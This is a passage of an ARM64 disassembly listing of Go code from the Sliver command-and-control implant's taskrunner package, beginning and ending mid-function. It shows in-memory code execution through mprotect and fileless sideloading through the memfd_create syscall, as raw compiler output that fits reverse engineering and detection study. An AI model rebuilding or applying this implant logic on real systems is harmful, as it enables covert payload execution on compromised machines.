004297f0b 0x4297f4
004297f4
004297f4loc_4297f4:
004297f4strb wzr, [sp+39]
004297f8b 0x4297fc
004297fc
004297fcloc_4297fc:
004297fcldrb w0, [sp+39]
00429800ldur x29, [sp-8]
00429804ldr x30, [sp], 80
00429808ret x30
0042980c
0042980cloc_42980c:
0042980cstp x0, x1, [sp+8]
00429810mov x3, x30
00429814bl runtime.morestack_noctxt.abi0
00429818ldp x0, x1, [sp+8]
0042981cb 0x429710
00429710

00429820
00429820github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset(int length, struct string charset)
00429820ldr x16, [x28+16]
00429824sub x17, sp, 48
00429828subs xzr, x17, x16
0042982cb.ls 0x429958
00429830str x30, [sp-176]!
00429834stur x29, [sp-8]
00429838sub x29, sp, 8
0042983cstr x0, [sp+184]
00429840str x1, [sp+192]
00429844str x2, [sp+200]
00429848stp xzr, xzr, [sp+80]
0042984cbl time.Now
00429850str x0, [sp+144]
00429854str x1, [sp+152]
00429858str x2, [sp+160]
0042985cbl time.Time.UnixNano
00429860str x0, [sp+48]
00429864bl math/rand.NewSource
00429868str x0, [sp+128]
0042986cstr x1, [sp+136]
00429870bl math/rand.New
00429874str x0, [sp+96]
00429878ldr x2, [sp+184]
0042987cldr x1, [sp+184]
00429880adrp x0, 0x1cc000
00429884add x0, x0, 3072
00429888bl runtime.makeslice
0042988cldr x1, [sp+184]
00429890ldr x2, [sp+184]
00429894str x0, [sp+104]
00429898str x1, [sp+112]
0042989cstr x2, [sp+120]
004298a0str xzr, [sp+64]
004298a4str x1, [sp+56]
004298a8b 0x4298ac
004298ac
004298acloc_4298ac:
004298acldr x3, [sp+56]
004298b0ldr x4, [sp+64]
004298b4subs xzr, x3, x4
004298b8b.gt 0x4298c0
004298bcb 0x429924
004298c0
004298c0loc_4298c0:
004298c0ldr x2, [sp+64]
004298c4str x2, [sp+32]
004298c8ldr x1, [sp+200]
004298ccstr x1, [sp+40]
004298d0ldr x0, [sp+96]
004298d4bl math/rand.(*Rand).Intn
004298d8str x0, [sp+72]
004298dcldr x1, [sp+200]
004298e0ldr x2, [sp+192]
004298e4subs xzr, x0, x1
004298e8b.lo 0x4298f0
004298ecb 0x429950
004298f0
004298f0loc_4298f0:
004298f0ldr x3, [sp+32]
004298f4ldr x1, [sp+112]
004298f8ldr x4, [sp+104]
004298fcldrb w5, [x2+x0]
00429900subs xzr, x1, x3
00429904b.hi 0x42990c
00429908b 0x429948
0042990c
0042990cloc_42990c:
0042990cstrb w5, [x4+x3]
00429910b 0x429914
00429914
00429914loc_429914:
00429914ldr x3, [sp+64]
00429918add x3, x3, 1
0042991cstr x3, [sp+64]
00429920b 0x4298ac
00429924
00429924loc_429924:
00429924ldr x1, [sp+104]
00429928ldr x2, [sp+112]
0042992cmov x0, xzr
00429930bl runtime.slicebytetostring
00429934str x0, [sp+80]
00429938str x1, [sp+88]
0042993cldur x29, [sp-8]
00429940ldr x30, [sp], 176
00429944ret x30
00429948
00429948loc_429948:
00429948mov x0, x3
0042994cbl runtime.panicIndex
00429950
00429950loc_429950:
00429950bl runtime.panicIndex
00429954hint
00429958
00429958loc_429958:
00429958stp x0, x1, [sp+8]
0042995cstr x2, [sp+24]
00429960mov x3, x30
00429964bl runtime.morestack_noctxt.abi0
00429968ldp x0, x1, [sp+8]
0042996cldr x2, [sp+24]
00429970b 0x429820
00429974udf 0
00429978udf 0
0042997cudf 0
00429820

00429980
00429980github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString(int length)
00429980ldr x16, [x28+16]
00429984subs xzr, sp, x16
00429988b.ls 0x4299d8
0042998cstr x30, [sp-96]!
00429990stur x29, [sp-8]
00429994sub x29, sp, 8
00429998str x0, [sp+104]
0042999cstp xzr, xzr, [sp+40]
004299a0adrp x1, 0x2a3000
004299a4add x1, x1, 3628
004299a8str x1, [sp+56]
004299acorr x2, xzr, 62
004299b0str x2, [sp+64]
004299b4ldr x0, [sp+104]
004299b8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset
004299bcstr x0, [sp+72]
004299c0str x1, [sp+80]
004299c4str x0, [sp+40]
004299c8str x1, [sp+48]
004299ccldur x29, [sp-8]
004299d0ldr x30, [sp], 96
004299d4ret x30
004299d8
004299d8loc_4299d8:
004299d8str x0, [sp+8]
004299dcmov x3, x30
004299e0bl runtime.morestack_noctxt.abi0
004299e4ldr x0, [sp+8]
004299e8b 0x429980
004299ecudf 0
00429980

004299f0
004299f0github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait(os/exec.Cmd * cmd, sync.WaitGroup * wg)
004299f0ldr x16, [x28+16]
004299f4subs xzr, sp, x16
004299f8b.ls 0x429a30
004299fcstr x30, [sp-32]!
00429a00stur x29, [sp-8]
00429a04sub x29, sp, 8
00429a08str x0, [sp+40]
00429a0cstr x1, [sp+48]
00429a10bl os/exec.(*Cmd).Start
00429a14ldr x0, [sp+40]
00429a18bl os/exec.(*Cmd).Wait
00429a1cldr x0, [sp+48]
00429a20bl sync.(*WaitGroup).Done
00429a24ldur x29, [sp-8]
00429a28ldr x30, [sp], 32
00429a2cret x30
00429a30
00429a30loc_429a30:
00429a30stp x0, x1, [sp+8]
00429a34mov x3, x30
00429a38bl runtime.morestack_noctxt.abi0
00429a3cldp x0, x1, [sp+8]
00429a40b 0x4299f0
00429a44udf 0
00429a48udf 0
00429a4cudf 0
004299f0

00429a50
00429a50github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage(uintptr p)
00429a50ldr x16, [x28+16]
00429a54subs xzr, sp, x16
00429a58b.ls 0x429af0
00429a5cstr x30, [sp-96]!
00429a60stur x29, [sp-8]
00429a64sub x29, sp, 8
00429a68str x0, [sp+104]
00429a6cstr xzr, [sp+40]
00429a70stp xzr, xzr, [sp+48]
00429a74bl syscall.Getpagesize
00429a78str x0, [sp+32]
00429a7cbl syscall.Getpagesize
00429a80str x0, [sp+24]
00429a84ldr x1, [sp+104]
00429a88ldr x2, [sp+32]
00429a8csub x2, xzr, x2
00429a90and x1, x1, x2
00429a94ldrsb x27, [x1]
00429a98orr x2, xzr, 0xffffff
00429a9csubs xzr, x0, x2
00429aa0b.ls 0x429aa8
00429aa4b 0x429ae0
00429aa8
00429aa8loc_429aa8:
00429aa8b 0x429aac
00429aac
00429aacloc_429aac:
00429aacstr x1, [sp+64]
00429ab0str x0, [sp+72]
00429ab4orr x2, xzr, 0xffffff
00429ab8str x2, [sp+80]
00429abcstr x1, [sp+40]
00429ac0str x0, [sp+48]
00429ac4str x2, [sp+56]
00429ac8ldr x3, [sp+40]
00429accmov x1, x0
00429ad0mov x0, x3
00429ad4ldur x29, [sp-8]
00429ad8ldr x30, [sp], 96
00429adcret x30
00429ae0
00429ae0loc_429ae0:
00429ae0mov x1, x0
00429ae4orr x2, xzr, 0xffffff
00429ae8bl runtime.panicSliceAlen
00429aechint
00429af0
00429af0loc_429af0:
00429af0str x0, [sp+8]
00429af4mov x3, x30
00429af8bl runtime.morestack_noctxt.abi0
00429afcldr x0, [sp+8]
00429b00b 0x429a50
00429b04udf 0
00429b08udf 0
00429b0cudf 0
00429a50

00429b10
00429b10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask(struct []uint8 data, bool rwxPages)
00429b10ldr x16, [x28+16]
00429b14sub x17, sp, 80
00429b18subs xzr, x17, x16
00429b1cb.ls 0x429cec
00429b20str x30, [sp-208]!
00429b24stur x29, [sp-8]
00429b28sub x29, sp, 8
00429b2cstr x0, [sp+216]
00429b30str x1, [sp+224]
00429b34str x2, [sp+232]
00429b38strb w3, [sp+240]
00429b3cstp xzr, xzr, [sp+104]
00429b40adrp x0, 0x1c4000
00429b44add x0, x0, 1216
00429b48bl runtime.newobject
00429b4cstr x0, [sp+192]
00429b50adrp x27, 0x622000
00429b54ldr w1, [x27+3056]
00429b58cbz w1, 0x429b60
00429b5cb 0x429b64
00429b60
00429b60loc_429b60:
00429b60b 0x429b84
00429b64
00429b64loc_429b64:
00429b64str x0, [sp+184]
00429b68mov x1, x0
00429b6cadd x2, sp, 216
00429b70adrp x0, 0x1c4000
00429b74add x0, x0, 1216
00429b78bl runtime.wbMove
00429b7cldr x0, [sp+184]
00429b80b 0x429b84
00429b84
00429b84loc_429b84:
00429b84ldp x2, x3, [sp+216]
00429b88stp x2, x3, [x0]
00429b8cldr x2, [sp+232]
00429b90str x2, [x0+16]
00429b94ldr x2, [sp+192]
00429b98ldr x1, [x2+8]
00429b9cldr x0, [x2]
00429ba0subs xzr, x1, 0
00429ba4b.hi 0x429bac
00429ba8b 0x429ce0
00429bac
00429bacloc_429bac:
00429bacstr x0, [sp+48]
00429bb0bl github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage
00429bb4str x0, [sp+120]
00429bb8str x1, [sp+128]
00429bbcstr x2, [sp+136]
00429bc0movz x3, 5
00429bc4bl syscall.Mprotect
00429bc8ldr x1, [sp+192]
00429bccstr x1, [sp+152]
00429bd0add x1, sp, 152
00429bd4ldrsb x27, [x1]
00429bd8ldr x1, [x1]
00429bdcstr x1, [sp+144]
00429be0bl runtime.LockOSThread
00429be4adrp x1, 0x2af000
00429be8add x1, x1, 1640
00429becstr x1, [sp+80]
00429bf0add x0, sp, 56
00429bf4bl runtime.deferprocStack
00429bf8subs xzr, x0, 0
00429bfcb.ne 0x429cc8
00429c00b 0x429c04
00429c04
00429c04loc_429c04:
00429c04adrp x1, 0x2af000
00429c08add x1, x1, 3888
00429c0cstr x1, [sp+176]
00429c10ldr x1, [sp+144]
00429c14str x1, [sp+168]
00429c18adrp x0, 0x222000
00429c1cadd x0, x0, 2336
00429c20bl runtime.newobject
00429c24str x0, [sp+160]
00429c28adrp x1, 0
00429c2cadd x1, x1, 3344
00429c30str x1, [x0]
00429c34ldr x1, [sp+176]
00429c38ldr x2, [sp+160]
00429c3cldrsb x27, [x2]
00429c40adrp x27, 0x622000
00429c44ldr w3, [x27+3056]
00429c48cbz w3, 0x429c50
00429c4cb 0x429c54
00429c50
00429c50loc_429c50:
00429c50b 0x429c68
00429c54
00429c54loc_429c54:
00429c54bl runtime.gcWriteBarrier2
00429c58str x1, [x25]
00429c5cldr x3, [x2+8]
00429c60str x3, [x25+8]
00429c64b 0x429c68
00429c68
00429c68loc_429c68:
00429c68str x1, [x2+8]
00429c6cldr x1, [sp+168]
00429c70ldr x2, [sp+160]
00429c74ldrsb x27, [x2]
00429c78adrp x27, 0x622000
00429c7cldr w3, [x27+3056]
00429c80cbz w3, 0x429c88
00429c84b 0x429c8c
00429c88
00429c88loc_429c88:
00429c88b 0x429ca0
00429c8c
00429c8cloc_429c8c:
00429c8cbl runtime.gcWriteBarrier2
00429c90str x1, [x25]
00429c94ldr x3, [x2+16]
00429c98str x3, [x25+8]
00429c9cb 0x429ca0
00429ca0
00429ca0loc_429ca0:
00429ca0str x1, [x2+16]
00429ca4ldr x0, [sp+160]
00429ca8bl runtime.newproc
00429cacstp xzr, xzr, [sp+104]
00429cb0bl runtime.deferreturn
00429cb4ldr x0, [sp+104]
00429cb8ldr x1, [sp+112]
00429cbcldur x29, [sp-8]
00429cc0ldr x30, [sp], 208
00429cc4ret x30
00429cc8
00429cc8loc_429cc8:
00429cc8bl runtime.deferreturn
00429cccldr x0, [sp+104]
00429cd0ldr x1, [sp+112]
00429cd4ldur x29, [sp-8]
00429cd8ldr x30, [sp], 208
00429cdcret x30
00429ce0
00429ce0loc_429ce0:
00429ce0mov x0, xzr
00429ce4bl runtime.panicIndex
00429ce8hint
00429cec
00429cecloc_429cec:
00429cecstp x0, x1, [sp+8]
00429cf0str x2, [sp+24]
00429cf4strb w3, [sp+32]
00429cf8mov x3, x30
00429cfcbl runtime.morestack_noctxt.abi0
00429d00ldp x0, x1, [sp+8]
00429d04ldr x2, [sp+24]
00429d08ldrb w3, [sp+32]
00429d0cb 0x429b10
00429b10

00429d10
00429d10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1(void)
00429d10ldr x16, [x28+16]
00429d14subs xzr, sp, x16
00429d18b.ls 0x429d58
00429d1cstr x30, [sp-48]!
00429d20stur x29, [sp-8]
00429d24sub x29, sp, 8
00429d28ldr x16, [x28+32]
00429d2ccbnz x16, 0x429d64
00429d30
00429d30loc_429d30:
00429d30ldr x1, [x26+8]
00429d34str x1, [sp+32]
00429d38ldr x0, [x26+16]
00429d3cstr x0, [sp+24]
00429d40ldr x26, [sp+32]
00429d44ldr x1, [x26]
00429d48blr x1
00429d4cldur x29, [sp-8]
00429d50ldr x30, [sp], 48
00429d54ret x30
00429d58
00429d58loc_429d58:
00429d58mov x3, x30
00429d5cbl runtime.morestack.abi0
00429d60b 0x429d10
00429d64
00429d64loc_429d64:
00429d64ldr x17, [x16]
00429d68add x20, sp, 56
00429d6csubs xzr, x20, x17
00429d70b.ne 0x429d30
00429d74add x20, sp, 8
00429d78str x20, [x16]
00429d7cb 0x429d30
00429d10

00429d80
00429d80github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask(int processID, struct []uint8 data, bool rwxPages)
00429d80str x30, [sp-32]!
00429d84stur x29, [sp-8]
00429d88sub x29, sp, 8
00429d8cstr x0, [sp+40]
00429d90str x1, [sp+48]
00429d94str x2, [sp+56]
00429d98str x3, [sp+64]
00429d9cstrb w4, [sp+72]
00429da0stp xzr, xzr, [sp+8]
00429da4stp xzr, xzr, [sp+8]
00429da8mov x0, xzr
00429dacmov x1, xzr
00429db0add x29, sp, 24
00429db4add sp, sp, 32
00429db8ret x30
00429dbcudf 0
00429d80

00429dc0
00429dc0github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload(struct string procName, struct []string procArgs, uint32 p2, struct []uint8 data, struct []string args, bool kill)
00429dc0ldr x16, [x28+16]
00429dc4sub x17, sp, 912
00429dc8subs xzr, x17, x16
00429dccb.ls 0x42aa14
00429dd0sub x20, sp, 1040
00429dd4stp x29, x30, [x20-8]
00429dd8add sp, x20, 0
00429ddcsub x29, sp, 8
00429de0str x0, [sp+1048]
00429de4str x1, [sp+1056]
00429de8str x2, [sp+1064]
00429decstr x3, [sp+1072]
00429df0str x4, [sp+1080]
00429df4str w5, [sp+1088]
00429df8str x6, [sp+1096]
00429dfcstr x7, [sp+1104]
00429e00str x8, [sp+1112]
00429e04str x9, [sp+1120]
00429e08str x10, [sp+1128]
00429e0cstr x11, [sp+1136]
00429e10strb w12, [sp+1144]
00429e14stp xzr, xzr, [sp+160]
00429e18stp xzr, xzr, [sp+144]
00429e1cstr xzr, [sp+64]
00429e20adrp x0, 0x229000
00429e24add x0, x0, 2048
00429e28bl runtime.newobject
00429e2cstr x0, [sp+1016]
00429e30adrp x27, 0x622000
00429e34ldr w1, [x27+3056]
00429e38cbz w1, 0x429e40
00429e3cb 0x429e44
00429e40
00429e40loc_429e40:
00429e40b 0x429e60
00429e44
00429e44loc_429e44:
00429e44str x0, [sp+288]
00429e48mov x1, x0
00429e4cadrp x0, 0x229000
00429e50add x0, x0, 2048
00429e54bl runtime.wbZero
00429e58ldr x0, [sp+288]
00429e5cb 0x429e60
00429e60
00429e60loc_429e60:
00429e60stp xzr, xzr, [x0]
00429e64stp xzr, xzr, [x0+16]
00429e68str xzr, [x0+32]
00429e6cadrp x0, 0x229000
00429e70add x0, x0, 2048
00429e74bl runtime.newobject
00429e78str x0, [sp+1024]
00429e7cadrp x27, 0x622000
00429e80ldr w1, [x27+3056]
00429e84cbz w1, 0x429e8c
00429e88b 0x429e90
00429e8c
00429e8cloc_429e8c:
00429e8cb 0x429eac
00429e90
00429e90loc_429e90:
00429e90str x0, [sp+288]
00429e94mov x1, x0
00429e98adrp x0, 0x229000
00429e9cadd x0, x0, 2048
00429ea0bl runtime.wbZero
00429ea4ldr x0, [sp+288]
00429ea8b 0x429eac
00429eac
00429eacloc_429eac:
00429eacstp xzr, xzr, [x0]
00429eb0stp xzr, xzr, [x0+16]
00429eb4str xzr, [x0+32]
00429eb8adrp x0, 0x229000
00429ebcadd x0, x0, 128
00429ec0bl runtime.newobject
00429ec4str x0, [sp+1008]
00429ec8str xzr, [x0]
00429eccstr wzr, [x0+8]
00429ed0str xzr, [sp+280]
00429ed4orr x0, xzr, 8
00429ed8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString
00429edcstr x0, [sp+200]
00429ee0str x1, [sp+208]
00429ee4str xzr, [sp+952]
00429ee8add x27, sp, 936
00429eecstp xzr, xzr, [x27]
00429ef0ldr x0, [sp+200]
00429ef4ldr x1, [sp+208]
00429ef8bl syscall.BytePtrFromString
00429efcstr x0, [sp+952]
00429f00str x1, [sp+936]
00429f04str x2, [sp+944]
00429f08ldr x1, [sp+952]
00429f0cstr x1, [sp+1000]
00429f10ldr x1, [sp+936]
00429f14ldr x2, [sp+944]
00429f18str x1, [sp+984]
00429f1cstr x2, [sp+992]
00429f20ldr x1, [sp+1000]
00429f24str x1, [sp+216]
00429f28ldr x1, [sp+992]
00429f2cldr x2, [sp+984]
00429f30str x2, [sp+240]
00429f34str x1, [sp+248]
00429f38cbnz x2, 0x429f40
00429f3cb 0x42a01c
00429f40
00429f40loc_429f40:
00429f40add x27, sp, 920
00429f44stp xzr, xzr, [x27]
00429f48add x5, sp, 920
00429f4cstr x5, [sp+760]
00429f50ldr x5, [sp+240]
00429f54ldr x6, [sp+248]
00429f58str x5, [sp+744]
00429f5cstr x6, [sp+752]
00429f60str x5, [sp+736]
00429f64ldr x5, [sp+736]
00429f68cbnz x5, 0x429f70
00429f6cb 0x429f80
00429f70
00429f70loc_429f70:
00429f70ldr x5, [sp+736]
00429f74ldr x5, [x5+8]
00429f78str x5, [sp+736]
00429f7cb 0x429f84
00429f80
00429f80loc_429f80:
00429f80b 0x429f84
00429f84
00429f84loc_429f84:
00429f84ldr x5, [sp+760]
00429f88ldrsb x27, [x5]
00429f8cldr x6, [sp+752]
00429f90ldr x7, [sp+736]
00429f94str x7, [x5]
00429f98adrp x27, 0x622000
00429f9cldr w7, [x27+3056]
00429fa0cbz w7, 0x429fa8
00429fa4b 0x429fac
00429fa8
00429fa8loc_429fa8:
00429fa8b 0x429fc0
00429fac
00429facloc_429fac:
00429facbl runtime.gcWriteBarrier2
00429fb0str x6, [x25]
00429fb4ldr x7, [x5+8]
00429fb8str x7, [x25+8]
00429fbcb 0x429fc0
00429fc0
00429fc0loc_429fc0:
00429fc0str x6, [x5+8]
00429fc4ldr x2, [sp+760]
00429fc8ldrsb x27, [x2]
00429fccb 0x429fd0
00429fd0
00429fd0loc_429fd0:
00429fd0str x2, [sp+768]
00429fd4orr x4, xzr, 1
00429fd8str x4, [sp+776]
00429fdcstr x4, [sp+784]
00429fe0adrp x0, 0x292000
00429fe4add x0, x0, 2620
00429fe8orr x1, xzr, 28
00429fecmov x3, x4
00429ff0bl log.Printf
00429ff4stp xzr, xzr, [sp+160]
00429ff8ldr x3, [sp+248]
00429ffcldr x2, [sp+240]
0042a000str x2, [sp+144]
0042a004str x3, [sp+152]
0042a008ldr x0, [sp+160]
0042a00cldr x1, [sp+168]
0042a010ldp x29, x30, [sp-8]
0042a014add sp, sp, 1040
0042a018ret x30
0042a01c
0042a01cloc_42a01c:
0042a01cmovz x4, 319
0042a020str x4, [sp+64]
0042a024ldr x4, [sp+216]
0042a028str x4, [sp+960]
0042a02cldr x0, [sp+64]
0042a030ldr x1, [sp+960]
0042a034orr x2, xzr, 1
0042a038mov x3, xzr
0042a03cbl syscall.Syscall
0042a040str x0, [sp+112]
0042a044str x1, [sp+104]
0042a048str x2, [sp+96]
0042a04cstr x0, [sp+136]
0042a050str x1, [sp+128]
0042a054str x2, [sp+120]
0042a058str x0, [sp+72]
0042a05cbl os.Getpid
0042a060str x0, [sp+56]
0042a064add x27, sp, 888
0042a068stp xzr, xzr, [x27]
0042a06cadd x27, sp, 904
0042a070stp xzr, xzr, [x27]
0042a074add x4, sp, 888
0042a078str x4, [sp+704]
0042a07cldr x0, [sp+56]
0042a080bl runtime.convT64
0042a084str x0, [sp+696]
0042a088ldr x4, [sp+704]
0042a08cldrsb x27, [x4]
0042a090adrp x5, 0x1cb000
0042a094add x5, x5, 3520
0042a098str x5, [x4]
0042a09cadrp x27, 0x621000
0042a0a0ldr w5, [x27+3056]
0042a0a4cbz w5, 0x42a0ac
0042a0a8b 0x42a0b0
0042a0ac
0042a0acloc_42a0ac:
0042a0acb 0x42a0c4
0042a0b0
0042a0b0loc_42a0b0:
0042a0b0bl runtime.gcWriteBarrier2
0042a0b4str x0, [x25]
0042a0b8ldr x1, [x4+8]
0042a0bcstr x1, [x25+8]
0042a0c0b 0x42a0c4
0042a0c4
0042a0c4loc_42a0c4:
0042a0c4str x0, [x4+8]
0042a0c8ldr x0, [sp+72]
0042a0ccbl runtime.convT64
0042a0d0str x0, [sp+688]
0042a0d4ldr x1, [sp+704]
0042a0d8ldrsb x27, [x1]
0042a0dcadrp x2, 0x1cb000
0042a0e0add x2, x2, 3648
0042a0e4str x2, [x1+16]
0042a0e8adrp x27, 0x621000
0042a0ecldr w2, [x27+3056]
0042a0f0cbz w2, 0x42a0f8
0042a0f4b 0x42a0fc
0042a0f8
0042a0f8loc_42a0f8:
0042a0f8b 0x42a110
0042a0fc
0042a0fcloc_42a0fc:
0042a0fcbl runtime.gcWriteBarrier2
0042a100str x0, [x25]
0042a104ldr x5, [x1+24]
0042a108str x5, [x25+8]
0042a10cb 0x42a110
0042a110
0042a110loc_42a110:
0042a110str x0, [x1+24]
0042a114ldr x2, [sp+704]
0042a118ldrsb x27, [x2]
0042a11cb 0x42a120
0042a120
0042a120loc_42a120:
0042a120str x2, [sp+712]
0042a124orr x4, xzr, 2
0042a128str x4, [sp+720]
0042a12cstr x4, [sp+728]
0042a130adrp x0, 0x289000
0042a134add x0, x0, 3542
0042a138orr x1, xzr, 14
0042a13cmov x3, x4
0042a140bl fmt.Sprintf
0042a144str x0, [sp+224]
0042a148str x1, [sp+232]
0042a14cldr x3, [sp+1104]
0042a150ldr x4, [sp+1112]
0042a154ldr x2, [sp+1096]
0042a158movz x5, 493
0042a15cbl os.WriteFile
0042a160str x0, [sp+240]
0042a164str x1, [sp+248]
0042a168cbnz x0, 0x42a170
0042a16cb 0x42a24c
0042a170
0042a170loc_42a170:
0042a170add x27, sp, 920
0042a174stp xzr, xzr, [x27]
0042a178add x5, sp, 920
0042a17cstr x5, [sp+656]
0042a180ldr x5, [sp+240]
0042a184ldr x6, [sp+248]
0042a188str x5, [sp+640]
0042a18cstr x6, [sp+648]
0042a190str x5, [sp+632]
0042a194ldr x5, [sp+632]
0042a198cbnz x5, 0x42a1a0
0042a19cb 0x42a1b0
0042a1a0
0042a1a0loc_42a1a0:
0042a1a0ldr x5, [sp+632]
0042a1a4ldr x5, [x5+8]
0042a1a8str x5, [sp+632]
0042a1acb 0x42a1b4
0042a1b0
0042a1b0loc_42a1b0:
0042a1b0b 0x42a1b4
0042a1b4
0042a1b4loc_42a1b4:
0042a1b4ldr x5, [sp+656]
0042a1b8ldrsb x27, [x5]
0042a1bcldr x6, [sp+632]
0042a1c0ldr x7, [sp+648]
0042a1c4str x6, [x5]
0042a1c8adrp x27, 0x621000
0042a1ccldr w6, [x27+3056]
0042a1d0cbz w6, 0x42a1d8
0042a1d4b 0x42a1dc
0042a1d8
0042a1d8loc_42a1d8:
0042a1d8b 0x42a1f0
0042a1dc
0042a1dcloc_42a1dc:
0042a1dcbl runtime.gcWriteBarrier2
0042a1e0str x7, [x25]
0042a1e4ldr x6, [x5+8]
0042a1e8str x6, [x25+8]
0042a1ecb 0x42a1f0
0042a1f0
0042a1f0loc_42a1f0:
0042a1f0str x7, [x5+8]
0042a1f4ldr x2, [sp+656]
0042a1f8ldrsb x27, [x2]
0042a1fcb 0x42a200
0042a200
0042a200loc_42a200:
0042a200str x2, [sp+664]
0042a204orr x4, xzr, 1
0042a208str x4, [sp+672]
0042a20cstr x4, [sp+680]
0042a210adrp x0, 0x294000
0042a214add x0, x0, 2288
0042a218orr x1, xzr, 32
0042a21cmov x3, x4
0042a220bl log.Printf
0042a224stp xzr, xzr, [sp+160]
0042a228ldr x3, [sp+248]
0042a22cldr x2, [sp+240]
0042a230str x2, [sp+144]
0042a234str x3, [sp+152]
0042a238ldr x0, [sp+160]
0042a23cldr x1, [sp+168]
0042a240ldp x29, x30, [sp-8]
0042a244add sp, sp, 1040
0042a248ret x30
0042a24c
0042a24cloc_42a24c:
0042a24cadd x27, sp, 920
0042a250stp xzr, xzr, [x27]
0042a254add x2, sp, 920
0042a258str x2, [sp+600]
0042a25cldr x0, [sp+224]
0042a260ldr x1, [sp+232]
0042a264bl runtime.convTstring
0042a268str x0, [sp+592]
0042a26cldr x2, [sp+600]
0042a270ldrsb x27, [x2]
0042a274adrp x3, 0x1cb000
0042a278add x3, x3, 2944
0042a27cstr x3, [x2]
0042a280adrp x27, 0x621000
0042a284ldr w3, [x27+3056]
0042a288cbz w3, 0x42a290
0042a28cb 0x42a294
0042a290
0042a290loc_42a290:
0042a290b 0x42a2a8
0042a294
0042a294loc_42a294:
0042a294bl runtime.gcWriteBarrier2
0042a298str x0, [x25]
0042a29cldr x5, [x2+8]
0042a2a0str x5, [x25+8]
0042a2a4b 0x42a2a8
0042a2a8
0042a2a8loc_42a2a8:
0042a2a8str x0, [x2+8]
0042a2acldr x2, [sp+600]
0042a2b0ldrsb x27, [x2]
0042a2b4b 0x42a2b8
0042a2b8
0042a2b8loc_42a2b8:
0042a2b8str x2, [sp+608]
0042a2bcorr x4, xzr, 1
0042a2c0str x4, [sp+616]
0042a2c4str x4, [sp+624]
0042a2c8adrp x0, 0x28c000
0042a2ccadd x0, x0, 1175
0042a2d0movz x1, 19
0042a2d4mov x3, x4
0042a2d8bl log.Printf
0042a2dcbl os.Environ
0042a2e0str x0, [sp+256]
0042a2e4str x1, [sp+264]
0042a2e8str x2, [sp+272]
0042a2ecldr x0, [sp+1120]
0042a2f0ldr x1, [sp+1128]
0042a2f4ldr x2, [sp+1136]
0042a2f8adrp x3, 0x2e6000
0042a2fcadd x3, x3, 3072
0042a300orr x4, xzr, 1
0042a304bl strings.Join
0042a308str x0, [sp+872]
0042a30cstr x1, [sp+880]
0042a310add x27, sp, 920
0042a314stp xzr, xzr, [x27]
0042a318add x5, sp, 920
0042a31cstr x5, [sp+560]
0042a320ldr x0, [sp+872]
0042a324ldr x1, [sp+880]
0042a328bl runtime.convTstring
0042a32cstr x0, [sp+552]
0042a330ldr x5, [sp+560]
0042a334ldrsb x27, [x5]
0042a338adrp x6, 0x1cb000
0042a33cadd x6, x6, 2944
0042a340str x6, [x5]
0042a344adrp x27, 0x621000
0042a348ldr w6, [x27+3056]
0042a34ccbz w6, 0x42a354
0042a350b 0x42a358
0042a354
0042a354loc_42a354:
0042a354b 0x42a36c
0042a358
0042a358loc_42a358:
0042a358bl runtime.gcWriteBarrier2
0042a35cstr x0, [x25]
0042a360ldr x6, [x5+8]
0042a364str x6, [x25+8]
0042a368b 0x42a36c
0042a36c
0042a36cloc_42a36c:
0042a36cstr x0, [x5+8]
0042a370ldr x2, [sp+560]
0042a374ldrsb x27, [x2]
0042a378b 0x42a37c
0042a37c
0042a37cloc_42a37c:
0042a37cstr x2, [sp+568]
0042a380orr x4, xzr, 1
0042a384str x4, [sp+576]
0042a388str x4, [sp+584]
0042a38cadrp x0, 0x289000
0042a390add x0, x0, 552
0042a394orr x1, xzr, 12
0042a398mov x3, x4
0042a39cbl fmt.Sprintf
0042a3a0str x0, [sp+856]
0042a3a4str x1, [sp+864]
0042a3a8add x27, sp, 840
0042a3acstp xzr, xzr, [x27]
0042a3b0add x5, sp, 840
0042a3b4str x5, [sp+520]
0042a3b8ldr x0, [sp+224]
0042a3bcldr x1, [sp+232]
0042a3c0bl runtime.convTstring
0042a3c4str x0, [sp+512]
0042a3c8ldr x5, [sp+520]
0042a3ccldrsb x27, [x5]
0042a3d0adrp x6, 0x1cb000
0042a3d4add x6, x6, 2944
0042a3d8str x6, [x5]
0042a3dcadrp x27, 0x621000
0042a3e0ldr w6, [x27+3056]
0042a3e4cbz w6, 0x42a3ec
0042a3e8b 0x42a3f0
0042a3ec
0042a3ecloc_42a3ec:
0042a3ecb 0x42a404
0042a3f0
0042a3f0loc_42a3f0:
0042a3f0bl runtime.gcWriteBarrier2
0042a3f4str x0, [x25]
0042a3f8ldr x6, [x5+8]
0042a3fcstr x6, [x25+8]
0042a400b 0x42a404
0042a404
0042a404loc_42a404:
0042a404str x0, [x5+8]
0042a408ldr x2, [sp+520]
0042a40cldrsb x27, [x2]
0042a410b 0x42a414
0042a414
0042a414loc_42a414:
0042a414str x2, [sp+528]
0042a418orr x4, xzr, 1
0042a41cstr x4, [sp+536]
0042a420str x4, [sp+544]
0042a424adrp x0, 0x289000
0042a428add x0, x0, 2226
0042a42cmovz x1, 13
0042a430mov x3, x4
0042a434bl fmt.Sprintf
0042a438str x0, [sp+824]
0042a43cstr x1, [sp+832]
0042a440stp xzr, xzr, [sp+472]
0042a444stp xzr, xzr, [sp+488]
0042a448add x5, sp, 472
0042a44cstr x5, [sp+504]
0042a450ldrsb x27, [x5]
0042a454ldr x6, [sp+856]
